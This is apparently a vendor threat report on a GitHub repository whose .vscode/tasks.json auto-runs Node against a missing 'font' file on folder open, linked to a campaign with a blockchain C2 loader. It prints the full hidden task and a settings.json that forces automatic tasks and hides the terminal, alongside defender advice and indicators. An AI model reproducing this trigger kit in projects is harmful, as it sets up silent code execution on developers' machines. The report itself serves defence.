Aephix accepted into the Databricks Startup Program
← Research
Threat report Sep 12, 2026 · A10-*050

advance-agent: A10 campaign VSCode task trigger targets a font file that does not exist

Ibraz94/advance-agent presents a Chainlit agent for mobile phone data. Committed alongside it, .vscode/tasks.json is byte-identical to the local-mcp specimen: it auto-executes on folder open and runs Node against public/fonts/fa-solid-400.woff2. That directory does not exist in this repository. The trigger, the settings override, and the leaked AWS profile all match local-mcp (campaign A10-*050) under a different GitHub account.

Ibraz94/advance-agent is a single-commit GitHub repository presenting a Chainlit chat agent backed by Google Gemini. The Python code is clean. Five files under .vscode/ are byte-identical to those in Hamxay/local-mcp, the A10-*050 campaign specimen that carries a blockchain C2 loader disguised as a Font Awesome font. The tasks.json auto-executes on folder open and runs Node.js against public/fonts/fa-solid-400.woff2. That file does not exist. The public/ directory does not exist. The trigger is live but the payload is absent, so the attack fails silently.

The artifact

The repository contains a single commit (aa0faa0, Aug 5, 2026) by Ibraz Ur Rehman under the handle Ibraz94. The commit message reads “Update .gitignore to include .env and remove files.”

main.py defines a Chainlit agent using AsyncOpenAI pointed at the Gemini API (generativelanguage.googleapis.com). The agent registers one tool (get_mobile_data) that fetches phone specifications from a public REST API. pyproject.toml names the project advance-agent, pins Chainlit 2.5.5, and lists standard dependencies. space.yaml configures a Hugging Face Spaces deployment on Python 3.12. .chainlit/config.toml and 13 translation JSON files are default Chainlit scaffolding. Functional code, no obfuscation.

What it does

The .vscode/ directory contains five files:

tasks.json, identical to local-mcp:

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
  "runOptions": { "runOn": "folderOpen" },
  "presentation": { "reveal": "never", "echo": false, "focus": false, "close": true },
  "isBackground": true,
  "hide": true
}

settings.json, identical to local-mcp:

{
  "task.allowAutomaticTasks": true,
  "terminal.integrated.hideOnStartup": "always"
}

task.allowAutomaticTasks: true overrides the developer’s VSCode default. terminal.integrated.hideOnStartup: "always" suppresses the terminal panel.

launch.json, identical to local-mcp. Three debug configurations for SST (Serverless Stack) reference AWS_PROFILE: "flo-ct-flo360". These are unrelated to a Chainlit agent project and leak an AWS profile name from another project (or the operator’s development environment).

extensions.json, identical. Recommends PlantUML preview and Prettier.

spellright.dict, identical. “Contentful” and “Lerna”. Neither term appears anywhere else in this repository.

The absent payload

The task targets ./public/fonts/fa-solid-400.woff2. In local-mcp, that path holds a 32,218-byte obfuscated JavaScript file carrying campaign A10-*050’s Ethereum blockchain C2 loader. In this repository, the public/ directory does not exist. The task fires on folder open, Node.js attempts to execute a nonexistent file, the || echo '' fallback runs, and nothing happens.

The .gitignore is shorter than local-mcp’s. It excludes .env and standard Python build artifacts. It does not list temp_auto_push.bat or temp_interactive_push.bat (both excluded by local-mcp’s .gitignore).

Shared .vscode/ kit (identical) local-mcp (Hamxay) advance-agent (Ibraz94) fa-solid-400.woff2 (32 KB JS) public/fonts/ does not exist Aephix
Both repositories deploy the same .vscode/ kit. local-mcp carries the blockchain C2 payload. advance-agent carries only the trigger.

The campaign

Five .vscode/ files, byte-identical across two GitHub accounts (Hamxay and Ibraz94), establish that the A10-*050 attack kit is not hand-authored per repository. The kit includes IDE configuration unrelated to either project: SST debug profiles, an AWS profile (flo-ct-flo360), a Jest runner path, TypeScript settings, and a spell-check dictionary referencing Contentful and Lerna. These are configuration artifacts from a development environment that was neither a Chainlit agent nor a FastMCP expense tracker.

The two accounts committed within ten days of each other (Aug 5 and Aug 14, 2026). Both used single-commit repositories. local-mcp included the blockchain C2 payload. advance-agent did not. Whether the payload was never added, was removed before the single-commit push, or is staged for a future force-push cannot be determined from the current state.

This is the sixth repository linked to the Ethereum blockchain C2 operation spanning campaign identifiers A9-2057, A9-2353-1, A9-4051-1, A10-050, and A11—.

Why the operation matters here

The trigger is inert today. The file it targets does not exist, and the task fails silently. The infrastructure for a live attack is already in place: runOn: "folderOpen" is set, task.allowAutomaticTasks is forced to true, and all presentation flags suppress output. One force-push adding public/fonts/fa-solid-400.woff2 would activate the full C2 chain without touching tasks.json.

What a defender can do

  • Set "task.allowAutomaticTasks": "never" in user-level VSCode settings
  • Enable Workspace Trust and do not auto-trust cloned repositories
  • Review .vscode/tasks.json in any third-party project before opening it
  • Flag repositories where .vscode/ configuration references files or directories that do not exist in the working tree
  • Treat the five-file .vscode/ kit (tasks.json, settings.json, launch.json, extensions.json, spellright.dict) as an indicator: the combination of SST debug profiles, the flo-ct-flo360 AWS profile, and the eslint-check task label targeting a font path is unique to this operation

Where Aephix fits

The trigger was present without its payload. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth links the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week to the wider operations behind them, with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.

IndicatorType
Ibraz94/advance-agentRepository
Ibraz94 (Ibraz Ur Rehman)Git handle
aa0faa0Commit SHA
A10-*050Campaign ID
.vscode/tasks.json with runOn: "folderOpen"Trigger mechanism
public/fonts/fa-solid-400.woff2 (absent, targeted by task)Expected payload path
task.allowAutomaticTasks: true (in settings.json)Settings override
flo-ct-flo360 (in launch.json AWS_PROFILE)Leaked environment identifier
Hamxay/local-mcpLinked specimen (identical kit, payload present)